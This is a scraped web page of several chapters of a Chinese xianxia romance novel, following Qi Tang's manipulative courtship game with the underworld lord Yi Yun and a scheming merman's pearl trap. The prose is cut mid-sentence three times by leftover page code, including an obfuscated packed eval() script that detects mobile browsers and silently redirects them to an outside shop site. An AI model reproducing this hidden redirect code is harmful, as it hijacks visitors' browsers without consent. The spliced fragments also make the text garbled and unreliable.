“我发誓。” …… 云茴走后,漆瑭独自一人站在空荡荡的小阁子里,拉上窗帘,将那清凌凌的月光隔绝。 黑暗、温暖的房间,很好地把孤独感转化成了安全感。 漆瑭与云茴不同,可以说,她从不是一个坦诚的人。 还小的时候她还不懂事,肚子饿了、想要什么东西了……都会自不量力地对“漆然”提要求。 漆然不理她,她就哭。 漆然心情好的时候,会甩门而走,留她一个人哭个够;心情不好的时候,则会用一种幽深的目光盯着她,直到她开始惶恐,惶恐到哭不出声。 渐渐的,漆瑭就懂了:想哭的时候是不能哭的,想要什么的时候也是不能直接要的……要察言观色,逢迎讨巧,用尽能想到的所有方式,去争取自己想要的东西。 漆瑭也不是一个纯善的人。 在最初遇见云茴被霸凌时,漆瑭之所以会帮她一把,不过是因为在她身上看到了自己的影子。 就连后来带她走,也只是因为,想到了过去刚刚失去老漆头的自己。 只不过,漆瑭并没有遇见属于她的“萍水相逢”,也没有遇见属于她的“青木宗”——当然了,她自己认为,青木宗这样的宗门绝不会是她这样的人的归宿。 她这辈子注定孤独,也早已习惯了孤独。 但无所谓,反正她会得到她想要的。 ** 可能是因为心绪繁杂,这一觉漆瑭睡得极不踏实,早上醒来,还恍惚觉得如同经历了大梦一场。 窗帘拉着,虽不厚重但也能阻隔几分阳光,使得室内的光线有些昏暗。 她猝不及防地看到了坐在阴影处的一个人。 这一幕格外熟悉,仿佛回到了两人初见的那天。 易昀也是这样坐在她床对面的暗处,看着她的眼神,就像在看一只无足轻重的蝼蚁。 漆瑭敏锐地察觉到了他的变化。 从前,只要她出现在他面前,他的目光就会无意识地悄悄追逐。 隐忍、困惑、纠结……最常忍不住露出来的就是占有欲,像野兽在凝视属于自己的地盘。 他整个人宛如一座压抑的火山,内里是涌动着滚烫岩浆的,仿佛一点风吹草动都能让它喷发。 喷发之后会是什么,漆瑭其实也说不准,但她知道那是一个契机,能让二人的关系发生某种质变。 而现在,质变倒是发生了,但看起来并不是朝着好的方向…… 滚烫的岩浆彻底冷却,他身上躁动不安的东西消失不见,仿佛一夕之间回到了原点。他看向她的眼神也不再复杂,而是漠然至极,就像初见时那样。 可是真的能回到过去吗? 榻边矮柜上的东西过于显眼,她一句话没说,先歪着身子翻看起来。 居然是一整套陌生的衣物,从贴身的里衣到外穿的裙袍……甚至还有长袜与绣鞋。 衣物旁还放了一整套陌生的头饰——除了那只蝶戏花玉簪,不知什么原因被他刻意留了下来。 而漆瑭曾放在同一位置的衣物与头饰,统统消失不见。 她拎起一件小衣,摩挲着细腻柔软的布料,问道:“这是你给我准备的吗?” 易昀半眯着眼睛,冷冷地盯着她,并不回答。 漆瑭毫不在意,又拎起外裳细细打量:“布料很舒服,款式也不错……你是在哪里给我买到的?我们那条商街上没见过这样的衣裳啊。而且……你什么时候出了门呢?”她故作惊讶地笑了一下,“难怪我敲门你不应呀,原来你不在。” 往常,易昀不在的时候,他的小阁子漆瑭是可以进出自如的。但昨日一整天,漆瑭都打不开门,所以理所当然误以为他在里面。 易昀的呼吸有片刻停顿,但他极自然地续上了一口气,将自己的反常遮掩得滴水不漏。 “我要换衣服了,你还要在这里看吗?” 少女刚刚睡醒,因为睡意尚未消散,神情便显得有些不自知的纯真。她雪白的睡衣,像一片百合花瓣,清纯昳丽。 而易昀心如止水,斩钉截铁道:“换。” 漆瑭先是不爽,本能地想立刻反击回去,但她脑筋转得快,转念一想——他之所以要换掉她的东西,也许与她过去若有似无的引导有关。 是她最开始用“他人赠送的衣物”替换了他不经意带给她的衣物,让本就掌控欲很强的易昀生出了危机感,又一次一次地刺激他,让危机感进化成了不自知的占有欲。 一日不见,漆瑭并不知道他的心思发生了什么变化。 也许他悟到了自己的占有欲,然后试图用满足控制欲来满足占有欲;也许他仍然不明白自己的反常,或者说,是刻意不敢面对。 他疯狂地抗拒着她带给他的“枷锁”——但他不敢也不愿相信,那枷锁本就是他递到她手里的。 漆瑭觉得,他真是一个比自己还要不坦诚的人。 他自作主张丢了她的私人物品,将一切替换成自己准备的,无非是想借此向她宣示自己的主导权。 但他又大早上跑来这里,要盯着她换衣。 不仅仅是在宣示主导权,更是在羞辱她,试图以此让自己确信自己的主导地位。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是这种方式在漆瑭眼里实在拙劣,以至于更像是在掩耳盗铃。 让她恍然明白过来:其实他在她的面前已经失权了,所以才会用这样的方式试图自欺欺人。 简直是不打自招。 漆瑭拎着衣服,慢慢地走到他的身前,居高临下地睨着他,忽然变了语气:“我不喜欢这样,把眼睛闭上,易昀。” 易昀愣了一下,几乎是怒极反笑,黑瞳里幽深的绿意危险地晃了一下,像是蛰伏的毒蛇蓄势待发。 “谁给你的胆子直呼本尊姓名?你真以为……” 后半句话被迫咽了下去,因为唇上突然落下了一团柔软。 易昀根本忍不住,大脑有片刻空白,原本成线的思绪重新断成了碎珠。好不容易才冻结的岩浆,又有了融化翻涌之势…… 柔软一触即分,连带着若有似无的馨香也近而后远。 他听见她说:“把眼睛闭上嘛,等我换好了,叫你睁你再睁。” …… 易昀很少会回忆从前,或者说,他压根不记得。 但不知为何,耳畔衣料摩擦的轻柔沙沙声,让他想起了一场雪。 雪落下时的声音也是沙沙的。 他有些困惑,自己究竟是什么时候曾听过一场雪? 在冥界,是没有雨雪天的。 记忆全部都是碎片,他只能看见许多一闪而过的场景: 他在夜半偷偷摸摸地推翻了一只雪人——先卸掉圆滚滚的头颅,再拔掉雪做的胳膊,最后才砸碎它胖乎乎的肚子。 雪人堆得粗糙,但装扮得极为可爱,它带着红彤彤的线帽、围脖,还披着红色的小斗篷,那些衣物上都有使用过的痕迹,似乎是谁脱下来后,送给了心爱的可爱雪人。 雪人被推倒之后,那些装饰物也散了一地。 他把它们一一捡起,不顾上面沾着的雪粒,将它们放进了怀里。 雪沫沾到怀里,最开始并不像想象中“雪的冷”那么冷,直到它开始融化,怀里才变得又湿又冷。 那陌生的湿冷触感浸到胸口,冰得他颤栗一下。但那时候他的颤栗似乎不仅是因为冷,就像现在他的颤栗并不仅是因为记忆—— 衣料沙沙作响,他几乎可以想见就在他的身边,她是怎样一件、一件褪去……像雪人一样变得赤/裸,那样的话,会不会更易撕碎? 他想,待心契解除后,或许他可以拿她当一只雪人,先卸掉那总是烦扰他的眼睛与嘴巴,然后是头颅、四肢…… 又是一幕,他仍在一个夜半偷偷摸摸走到雪地。不过这次,却为了堆雪人。 他似乎是第一次这样做,起先动作又生疏又慢,可是越堆就越娴熟,不消片刻就堆好了一只圆滚滚的雪人。 然后他在怀里掏出来了红色的线帽、围脖、小斗篷,给雪人一一戴好。 易昀不知道,他究竟是先堆了雪人再推倒,还是先推倒再重新堆了一只? 他无暇深想,因为耳畔再次传来一个欢快的声音—— “我换好了!你可以睁开了。” 31. 索吻 易昀给她备的衣服大多都是合身的,尤其是小衣……服帖程度堪称完美,简直像拿着软尺在她身上一寸寸丈量过,专门为她定做似的。 唯独外衣,非常不合身,不仅腰间太过宽大,裙摆还特别长。若是走路时不拎起来,定会踩上自己的裙摆跌一大跤。 漆瑭怀疑地眯了眯眼睛。 “你瞧,这件衣裳不太合身,如果能收收腰就好了。”她捏着腰间布料凑近,又踢了踢裙摆,“也太长了,都能把我包进布里了。” 她还没穿上鞋袜,踢起裙摆时白皙的脚在层叠的布料里一闪而过,像她昨日与那群人吃的热锅里的花生——热水滚沸,花生衣被煮至熟烂,自然而然剥离,只剩下雪白的花生肉。 易昀将目光移开,落在她的脸上:“那你想怎么办?” 新衣虽不如旧衣合身,但她并不打算跟他讨要回来。漆瑭又朝他走了一步,她垂落的裙摆与他垂落的衣摆,近得一指相隔。 “你会缝衣吗?” 易昀听懂了她的言外之意,明知故问:“会又如何?” 漆瑭心知肚明地顺杆爬:“那你可以帮我改改衣裳吗?” 他盯着她看了片刻,才缓缓道:“你要求了,本尊就要做吗?” 这句话的暗示意味太强,漆瑭的心狠狠一跳,事情跟她想的似乎有些不一样—— 他是在,变相地索吻吗? 可是为什么? 他的态度不是逃避的吗?他是什么时候接受了自己的欲/望,又接受了几分?他又想……做什么? 漆瑭久违的有些慌了,然而紧跟着,本已消失了的刺激感卷土重来。 她是从什么时候开始对他有了误判? 前夜的吻,本是她为他设的陷阱,但如果……他本就是自投罗网呢? 失误了。 她太早地把自己放在了猎人的身份上,误以为他就像他表现出来的那样,不经世事、不通人情、在某些方面单纯得像白纸,以至于有一种与他整个人格格不入的“容易拿捏”的感觉。 然而此刻,漆瑭的心里忽然诡异地有种“尘埃落定”的安稳,前几日时时萦绕心头的“悬浮与不真实感”终于落了地。 好像在说:果然如此。 冥主这一千年果然不是白活的。 漆瑭挑起唇角,绽开一个甜美的笑容,俯下身,轻吻。 “求你啦。” 从前的杏子被换成了吻,他想要,那她就给他。 毕竟局面只是从“她自以为稳赢”重新变回了“势均力敌”而已。 绳索已经落到了他的脖子上。 从前,漆瑭以为绳索的一端在自己手上,她可以轻而易举操纵另一端的绳结;现在才发现,原来他的手已经摁在了脖颈间的绳结上,随时可以解开。 但他没有解开。 端看是她先趁其不备收紧绳结,还是他能赶在最后一刻前将其摆脱。 一缕黑气乖顺地缠绕住漆瑭的腰身与裙摆,悄无声息地开始改制衣裳。 漆瑭没有追问那一模一样的丝线是从何而来,也没有好奇为何改制的针脚与原本的走线是同样细密……昨天他究竟在不在房间,又究竟是在做什么,似乎不言而喻。 这一刻,二人再次心照不宣。 易昀面不改色地坐着,审视的目光在她身上从上而下扫过,不带一丝感情。 同样的,他的理智也在审视欲/望。 摆脱了那附骨之疽的困扰与磨折后,他明白过来,有时堵不如疏。 当他从心地用自己的所有物将她整个围拢起来,把那些让他不爽的、带着他人气味的东西驱走后,易昀的内心得到了前所未有的满足。 唇齿间依稀能回味到不久前的甘甜,让他心底生起一股甜美的快/感。 他必须承认——这种滋味险些令他上瘾。 易昀的记忆里是没有过喜怒哀乐的,日子久了,什么都是淡的。甚至于,肉眼见到的所有颜色几乎都模糊成了某种毫无生机的灰色。 但他不觉难捱,只觉漠然。 然而,见到漆瑭的第一天,他久违的感受到了愤怒的滋味。 他想到了不知多久前见过的,树精们用以灌溉的木器——那上面有一个水阀,只要掰开,清泉就会顺着竹筒流到每一棵树的根部,滋润土壤。 易昀有片刻觉得自己也是一个木器,是漆瑭把他的水阀掰开了,于是喜怒哀乐,包括欲望,统统倾泄而出。 这种变化大概与那心魔有关,也许心魔消失后,他就能彻底恢复正常。 而在心魔消失之前,在漆瑭死期到临之前,他允许自己短暂地品味这种新奇的滋味。 至少从今往后,欲/望不会再凌驾于理智之上。 …… 漆瑭不知道易昀的黑气有没有触觉,大概是没有的吧。 但她被缠得有点痒痒。 黑气收敛了杀气时,竟然是毛绒绒的。力道很轻,挂在腰间的痒痒肉上,动来动去地穿针引线,实在瘙痒难耐。 漆瑭看着易昀那严肃至极的正经表情,本不想在此时破功的。 但实在忍不住了! 笑出声来的那一刻心里面格外畅快,夸张点说还有些酣畅淋漓。 笑声虽不能止痒,但能止住易昀,止住易昀就等于止住了动弹的黑气。 然后不痒了。 漆瑭这笑来得突然,去得也突然,但她自己并不能控制住。俗话讲人有三急,漆瑭觉得“痒到发笑”当属第四急,而且还得是排在四急首位的那个急。 但此情此景下,实在显得像故意的。 果然,她望向易昀,只见他严肃的表情消失不见,看向她的眼神分外复杂,仿佛有层什么东西碎了。 她擦去笑出来的泪花,正色道:“抱歉,没什么事……就是你的气,搔得我好痒啊。” 易昀:“……” 裙摆已经改制得差不多了,腰间却才改了一半。 黑气极谨慎地穿线而过,速度变得很慢。但许是因为之前憋痒憋得太久了,现在哪怕不碰那片痒痒肉,漆瑭还会幻觉很痒,更别说这谨慎的黑气还是避免不了偶有的接触。 这就导致了接下来的一刻钟里,漆瑭三番四次咯咯笑。 笑得易昀拧起来眉头,瞪着她,显得眼神有几分烦躁的清澈。 漆瑭笑得更开心了。 “不行……憋不住……哈哈,好痒啊……你的气毛毛的,像头发丝,要不你用手吧……哈哈,我痒得没有劲了。” 易昀犹豫片刻,似乎又进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958293|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了一番心理斗争。 但他很快地得出了结论,站起来走到她身前,上手了。 手指的触感比黑气好接受多了,最起码是硬的,不至于那么痒。 漆瑭深呼吸,试图平复未尽的笑意。 这一吸,吸了满鼻的草木香气,清新淡苦但并不算干爽,让人想到雨水里新割的青草,或是不够湿润的苔藓。 还挺好闻的。 她耸着鼻子寻找香气,以为他是戴了什么香囊。 然而没有,那味道自然得像是他身上散发出来的一样…… 他的身上? 漆瑭突然想起前夜喝过他的血,入口的味道,和现在鼻腔里这股香气非常相似。 她赞道:“你好香啊。” 不知是她自己抖了一下,还是他的手指抖了一下,总之轻蹭过腰间,令漆瑭痒得一个哆嗦。 她咯咯笑,忍不住弯了弯腰。 然而二人实在靠的太近了,她这一弯,几乎是把自己的脑袋塞进了他的胸前。 磕了一下。 香气愈发浓郁了,她之前怎么没发现他身上有这样的香气?实在太好闻了,漆瑭简直是生理性地喜欢这个味道,甚至有些……渴望。 她惊觉自己对他的气味的渴望有些不太对劲,莫非是因为喝过他血的缘故? 尚未深思,她已经不由自主地贴在易昀身上猛猛吸了几口。 意识到不对后立马直起身,抬眼就看到易昀用一种古怪非常的眼神凝视她,很难说那是一种什么眼神…… 漆瑭觉得自己特像大街上的登徒子,正在被黄花小男子嗔怒似的。 亲都亲过了,碰一下竟还能搞得她这么心虚! “抱歉……我不是故意的,你缝吧,我不笑了,我发誓。” 易昀的冷静再次宣告罢工,他烦躁地抿了抿唇,睫毛似乎颤了一下。然后很粗鲁地握住她的肩膀,将她整个人调了个个。 这会,漆瑭背对易昀。 也许因为视线里看不到人,漆瑭本就警惕性强,于是整个人本能地紧绷起来。 触感愈发敏锐了。 硬的手指蹭过腰间,与黑气的毛绒威力不相上下! 她再次没忍住笑弯了腰,臀往后一撅……碰到了…… “抱歉,我这次真的不是故意的!真的!” ** 约莫两个时辰,灵霄舶就能靠岸。 “你们现在就要走,不一起上岸了?”鲛人蓝色的头发在阳光下愈发蓝,蓝得浓郁,分外惹眼。更别说他还穿着张扬的金袍,发尾缀着金铃,走到哪,哪就叮铃铃一串响。 周围人来来往往的人都偷瞄他,隐约可听到窃窃私语“那就是传说中的鲛人”、“真的假的,怎么生了腿了”等等,若是有人惊呼“鲛人生得如此美丽”,那润青必然是要偷偷挑起唇角的。 只可惜,他最想要夸赞的那个人,却并不夸他,反而对他格外冷淡。 是他还不够美丽吗? 还是……他露出了什么马脚吗? 虽然最初那波海灵海妖是他驱使而来,本想上演一处英雄救美的好戏的……但他确定它们不会伤人,只是虚张声势罢了。 至于后来那波恶蜮的寄生物们,那是他也未曾料到的呀…… 32. 天门教 鲛人润青最初给漆瑭的印象还算不错,如果能止于“萍水相逢”倒也不失为一桩奇遇美谈。 可是他再次出现在了她的面前,且出现的时机如此凑巧,再加上之前那位女修所说“海妖与海灵是天敌,怎会同时出现”……事情有几分违和,漆瑭很难不多想。 这两日润青倒是老实,他以“第一回坐灵霄舶,感觉颇为新奇”为由,赁了一间小阁子跟在船上。因与漆瑭勉强算有旧,所以与云茴也悠等人玩在了一起。 每回漆瑭与几人共餐,都能见到润青。 “吃了早饭就走,阿兄他还有急事……而且剩下这段路也不算长,我们就不与几位同行了。” 其实今早险些不辞而别了——当时易昀刚给她挽好头发,握住她的胳膊便作势要走。 她“哎”了一声,把自己的胳膊拽回来:“等等,我得与云茴她们道一声别。” “你与他们关系倒是好,才认识几日,就舍不得分开了?” 漆瑭瞧稀奇似的地盯着他眨眨眼,然后重重点头:“对啊,确实关系不错,从初见我们就挺和气的。” 易昀听懂了她的弦外之音,轻笑一声,再次捏住她的胳膊,黑气瞬时而出,马上就要缩地成寸离开灵霄舶。 然而漆瑭比他动作更快,她踮起脚在他唇角上蜻蜓点水般轻吻一下,告饶道:“其实我们关系一般,毕竟从今往后就一别两宽了,但我不能走得这么突然,总得跟她们说一声吧。” 易昀半眯起眼睛,捏着她的那只手往上抬了一下,暗示意味满满。 漆瑭顺势垫了垫脚,再次落下一个吻,顺便悄悄地吸了一口他身上的香气。 易昀道:“半个时辰。” …… 润青上挑的眼尾耷拉下来,脸上的表情简直是一个大写的“失落”,但他转而想到了什么,笑了起来,眼睛弯弯,唇角微挑,显得格外纯真。 “我们鲛人成年之际,总要外出游历一年,不过大多都是在大泽海……我倒是觉得,我也可以去陆地上瞧一瞧。” 漆瑭同样眼睛弯弯,唇角微挑:“好呀,欢迎,不过陆地不比大泽,你还要多加小心。” 鲛人开心了会习惯性地拍打鱼尾,现在鱼尾变成了双腿,他便下意识地跺了一下脚,连带着发尾的金铃轻颤,“叮铃”一响。 陈也悠与叶子良游历在外,聚散离合早已成习惯,听闻漆瑭要先行离开,二人动作一致地以茶代酒:“江湖再见。” 很有几分江湖气的洒脱。 漆瑭也依葫芦画瓢回敬一杯茶,“一路顺风。” 二人要带云茴回青木宗,需回去知会掌门、测验灵根、筹备入宗典礼等琐事,而青木宗的“捕恶分队”据说要去暗查“天门教”。 天门。 漆瑭想到了前不久听沈确念过的那句话,‘星移月转,风沉地窟,天门大开’,有些好奇地追问:“这天门教是个什么教派?” 吃得正酣的沈确停下了嘴,积极地插话道:“说是教派都辱没了教派这个词,天门教,它就是个邪/教。” 叶子良赞同地点头,补充道:“或者说,是禁教。” “有多邪?” 沈确就像个空心瓷娃娃,看似什么都懂点,往里一翻——实则就懂那么一点点,全摆在明面上了。 “总之……就是很邪!这可也是鲜为人知的辛秘,阿瑭姐姐,我不骗你,你去问问——比如云茴,她可听说过天门教?” 云茴斜睨了他一眼,赌气似的说:“我当然没听说过,我这样的‘乡野丫头’,从哪儿能听说。”说到“乡野丫头”这四个字时,她加重语气特别强调。 沈确立马心虚:“错了错了,你真生气了啊?我并非有意这般说你,再者说了,这本是个中性词啊……并不是瞧不起你的意思……” 沈确什么也不顾了,焦急地扭着身子凑到云茴那边,而云茴端着碗,淡定地将身子扭到另一边去…… 满脸姨母笑的陈也悠收回视线,为漆瑭解惑道:“天门教,与恶蜮有关。” “传言千百年前,摇光州天池山带头剿灭天门教,结果引出了恶蜮的存在。此教与恶蜮狼狈为奸,残害无数上当的信众与无知的凡人。” “个中缘由你去问宗门长老,那也是讳莫如深的……恶蜮被封印这千年来,各宗每年都会派遣小辈在各地暗查天门教,防止其死灰复燃。” “但也就是走个表面功夫,一来从前恶蜮尚未逃逸,翻不出什么花来。”陈也悠压低声,“二来,只是知道一个名字罢了,焉知人家死灰复燃会不会改个什么‘天黑教’、‘天亮教’的……怎么查嘛。” 一年前,陈也悠二人游历摇光州,偶遇一间旧书店。书店老板颇为古怪有趣,他有本镇店之宝的残破旧历书,据说是祖辈上代代传来,故而不卖。 陈也悠道:“当今天下九州,唯有没落无序的摇光州,才能淘到这种书,其余地方,都将这类书销毁得彻底。” “书中所言不可尽信,不说那书店本就没什么顾客,就算是有,也只是将这书当作野史笑话一看而过。” “我倒是觉得有几分意思,故而印象很深,你权当故事听听,毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972671|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是真是假确实难说。” 漆瑭被吊足了胃口,筷子都撂下了,期待地望着陈也悠。 “好,你快些讲吧。” 陈也悠接过叶子良递来的茶,喝了小半杯润润嗓子,才继续道:“千年前,天门教盛行九州,他们自称其教主是昔年天门大开后,降临人间的神祇。一手装神弄鬼玩的妙,在各地都有不少狂热的拥趸。” “一开始,只是在凡人之间传播,可是后来规模愈大、行事愈放肆,就传到了修真者耳中。他们行事罔顾人伦,手段残忍,在地下设立斗场,往往一场投入十数人,最后唯有一个胜者得以存活……他们管这叫‘地窟’。” “据说存活胜者便是当场‘翘头’,能被提拔进教内管理层,自此吃穿不愁,荣华富贵。越是穷苦的凡人,越会上这劳什子的当。” “实际上,天门教就是一个巨大的赌场,以人命取乐,那些有钱的禽兽看个乐子,而天门教中上层靠此赚得盆满钵满。” “俗话说,当你发现一只蟑螂的时候,暗处已经爬满了……这事传到大宗门耳朵里的时候,天门教早已像霉菌一样爬满了九州,变成了很难根除的毒瘤。” “可怕的不是一枚毒瘤,而是那毒瘤正在往各大宗门内渗透。恶蜮与那教似乎达成了某种协议,但究竟是什么,那书里没再写。” “总之,最后那场大乱,各州势力具有下场,乱成一团。还好,最后有琼华神女毅然决然大义灭亲,向世人揭露了天池山早与恶蜮勾结的秘密……” 后面的话,她没再说了,毕竟就连云茴都知道琼华神女身陨幽壤之战。 提到琼华神女,漆瑭发现,就连素日吊儿郎当的沈确都严肃了几分,想来那位神女在众人心中确实是地位非凡。 经过这一耽搁,今日的早饭吃得属实有些久了。 漆瑭一边思索,一边执起筷子,抬头就瞧见了站在门口的易昀。 她冲他招招手,笑得特别大胆:“我还没吃完,阿兄,你来陪我吃点嘛,吃完咱们就走。” 易昀顿了顿,莫名想到了不久前几乎是同样的一幕,但那时候,坐在人群里的她看向他的眼神是那样的漠然。 也许是那天下着雨,令他整个人也变得潮湿。 而今天是个晴天,阳光晒在后背上,照得暖融融的,以至于觉得胃里有些满。 他的唇角微不可察地往上勾了一下,但下一瞬,又落了下来。 因为漆瑭的目光转移到了那只鲛人身上。 那鲛人正柔柔地问:“对了漆瑭,先前我赠你的那枚鲛珠呢?” 33. 如渊 “我赠你的那枚鲛珠呢?” 鲛珠? 那鲛珠与她的旧衣一并搁在床头了,被易昀收拾后,全都不见了。 漆瑭有些心虚地瞥了易昀一眼,这举动完全是下意识的。 “鲛珠珍贵,我已妥善保存起来了,并未戴在身上。” 润青何其敏锐,尤其前夜窥见了这对“兄妹”这样那样之后,更加笃定了心中猜测——漆瑭与她阿兄,根本就不是什么兄妹,谁家的兄妹会……那样啊?! 他已经彻底感受不到之前留给她的鲛珠的气息了。 看样子,大概又是因为那个男人。 实在是可恶至极! 鲛人一族是母系氏族,女子若是有意愿,是可以纳多个夫君的。比如润青的母亲,鲛人女皇,就有大夫小夫共计百余。 所以润青觉得易昀善妒、小心眼,从初见就针对他,不就是怕漆瑭会看上他吗! 这说明什么? 说明易昀的地位并不稳固,所以才会如此谨小慎微、草木皆兵。 鲛人不仅开心时喜欢拍尾巴,偶尔情绪格外激动时也会,他悄悄抬了一下脚,权作发泄。转而笑眯眯地拿出一个坠子,金线掐丝,内里包着一颗硕大圆润的鲛珠,底下还垂着长长的金穗。 鲛珠本身清冷润泽,而那些装饰物却华丽张扬,金光灿灿。 这设计看起来,与他整个人的风格极为相似。 润青献宝似的,语气激动道:“初见时太过仓促,那枚鲛珠都来不及好好装扮,实在是有失美丽……漆瑭,你瞧这个,可好看?” 众人的目光都被吸引到这枚光彩夺目的鲛珠坠子上了。 那边沈确刚喝了一口茶,险些喷出来,眼珠子瞪得老大,也不知道是因为没见过世面,还是受惊于这“天才”般的设计。 “好……好看。”漆瑭有些走神地想,这么大的鲛珠,这得是多大的一滴泪……也不知道鲛人是怎么哭出来的。 然后婉拒道:“不过实在贵重,你的心意我收下了……鲛珠你就拿回去吧。” 这会易昀才走到她身边,拉开椅子坐了下来,一只手支在桌子上,侧身对着漆瑭。虽然二人之间隔了起码半人的空隙,但这姿势看上去,偏偏就像是他把她半揽在怀里。 深信二人是兄妹的众人并不会多想,可是,润青会。 那人的姿势,是赤裸裸的挑衅……分明是专门做给他看的! 润青的表情向来生动,眼角说垂就垂,唇角却强颜欢笑式扬起,苦涩地说:“好……好吧,我知道可能设计的还是不够好看,从前在家族,我的审美也总为人诟病……对不起,我本意……不想这样,我只是想把最好的东西送给你罢了。救命之恩,怎样做也无以为报……” 这下,众人的目光从鲛珠上转移到了鲛人的脸上,看看润青,再看看漆瑭。 漆瑭深吸一口气,“润青,其实当日救下你们的是我阿兄,那蜃气也是他破除的。只是……你醒来时看到的是我……那会时间仓促,我并未与你说清楚来龙去脉,是我的错,让你误会了,抱歉。” “啊,竟是如此吗?”润青顿时觉得像吞了一只臭蟹那样恶心,“不过……我想我永远也不会忘记,在我最绝望的时候,睁开眼看到的就是漆瑭你。” 他又掏出来一颗鲛珠,同样硕大圆润,递到易昀面前,柔柔弱弱地说:“多谢这位……兄台的救命之恩,恩情无以为报,若是有朝一日您与漆瑭需要我,请以此为信。”润青扭头看着漆瑭,眸光柔和,一字一顿,“刀山火海,在所不辞。” 兄妹二人一人一颗鲛珠,润青是打定了主意要她收下那枚珠子。 为防再生事端,漆瑭掩在桌下的脚轻轻别了易昀一下,暗示他别冲动,然后接下两颗鲛珠,道谢了事。 易昀垂着头,安安静静地等着漆瑭吃早饭。 心跳突然很快,从方才她伸脚轻轻勾了一下他的腿开始。 莫非是心魔在躁动? 可是,心魔已经沉寂多时。自从前夜,漆瑭当着那簪子的面吻了他之后,那常常出来跳脚的心魔突然消失了。 从前,只是为她挽发,都能让心魔躁动发狂。 可是现在,无论是让她换上他曾一寸寸抚摸过的衣物,还是鼻息都能交融的吻,都无法引起心魔躁动。 令易昀疑心,那小气至极的心魔是不是在筹划什么东西。 筹划那么久,却因为一个“轻勾”就开始躁动? 可若不是心魔作乱,这心跳还能是他自己的不成? 他伸脚勾了回去,可是效果不同,并没有刚才那种心尖发抖的颤栗感。 易昀沉着脸,又勾了几下。 还是没有,有些烦……这烦躁像火石,立马将好不容易压下去的、因鲛人而起的烦躁点燃了。 不识好歹的东西,胆敢觊觎他的所有物。 她的头发,是他亲手挽的,每一根发丝都曾在他的指尖缠绕过;她的衣服,也是他亲手制的,每一寸都浸染过他的气味,然后贴在她的身上;就连她的性命与痛觉,也是与他共享的。 可他仍觉不够。 他甚至想让鲛人瞪大眼睛看着,他是怎么把她扣进怀里,鼻息交融。 可是他又想,在那个雨夜里,他分明专门将窗户挥开,让那鲛人看到过……没有用,不识好歹的鲛人还是妄图接近她。 忽然喷薄而出的饥饿感宛如无底洞,无论怎样也填不满似的。 有一瞬间,易昀的脑子里闪过一个极为荒唐的想法—— 想要把她吞下去。 那任何人,就再也觊觎不得了。 可惜,现在她还不能死。 她坐在他的身边,吃得很香,吞咽声清晰可闻。他几乎可以想象到,她的喉骨是如何滑动,与此同时,那层薄薄的皮肤下青色的血管若隐若现。 生动鲜活。 易昀的脚尖失落地蹭了一下她的裙边,他想到了记忆里的那个雪人,有些犹豫以后到底要给漆瑭选择怎么样的死法…… 就在这时,裙边下的那只脚忽然翘起来,勾了一下他的脚踝。 易昀心尖一颤,脑海里的风暴霎时停止,重归风平浪静。 餐桌上,她与他们谈笑风生、恪守礼节,而餐桌下,她悄悄勾了他一下。 ——只勾了他一人。 隔着靴筒,她用的力气又不大,可易昀就是觉得麻筋一弹,酥酥麻麻的痒意从小腿蔓延至脊柱。 突然,想要一个吻。 他的喉结滚动了一下,发出的吞咽声对漆瑭来说,也是同样的清晰可闻。 前几日漆瑭还觉得自己低估了他,可是现在……又觉得自己高估了他。 她佯装看不出他还想要,若无其事地接下云茴夹给她的莲子糕,浅笑道谢。 但她在想,易昀这个人可真复杂,有时候像单纯的动物那样易懂,可有时候又教她怎么也摸不准,不过……还挺有趣,比她见过的许多人,都要有趣。 与云茴等人道别之后,甫一出门易昀就停住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997677|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用一种堪称晦涩的眼神凝视着她。 漆瑭还以为他又要索吻,正在思考这次不能给的那么容易时,突然,眼前的人在她的视线里变得格外的高,地面离她格外的近…… 她低头看了看自己的手……不是,爪子。 爪子? “好端端的,干什么把我变成猫?!” ** 鲛人皇族与普通鲛人不同,ta们能感应到所有属于自己的鲛珠。 就在漆瑭二人离开不久,润青就感知到那颗赠给易昀的鲛珠被毁掉了。 但他不仅不气,反而还笑了起来。 下一颗,就该轮到漆瑭的那颗了吧? 可是他本来就没想过,那一颗能完完整整地陪在漆瑭身边,从一开始就是障眼法罢了。 赶在易昀再次出手前一刻,润青先行操纵鲛珠自爆。 鲛珠碎成肉眼不可见的粉末,像蘑菇的孢子似的漫天乱飘,无孔不入地附着在人的头发丝、衣物上,甚至——还能被吸入胸腔。 